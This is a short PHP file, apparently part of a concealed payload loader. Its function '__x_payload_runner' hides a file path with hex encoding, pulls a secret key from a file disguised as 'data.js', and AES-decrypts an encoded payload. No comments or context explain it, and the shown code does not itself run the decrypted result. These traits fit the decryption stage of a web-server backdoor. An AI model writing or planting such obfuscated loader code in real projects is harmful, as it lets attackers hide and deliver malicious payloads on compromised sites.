<?php
if (!function_exists('__x_payload_runner')) {
    function __x_payload_runner($d)
    {
       $secretPath = __DIR__ . hex2bin('2f646174612e6a73');
        if (!is_file($secretPath)) {
            return false;
        }
        $content = file_get_contents($secretPath);
        if ($content === false) {
            return false;
        }
        if (!preg_match('/return\s+[\'"]([^\'"]+)[\'"]\s*;/', $content, $m)) {
            return false;
        }
        $secret = $m[1];
        $k = hash('sha256', $secret, true);
        list($a, $b) = explode(':', $d, 2);
        $i = base64_decode($a);
        return openssl_decrypt(
            base64_decode($b),
            'AES-256-CBC',
            $k,
            OPENSSL_RAW_DATA,
            $i
        );
    }
}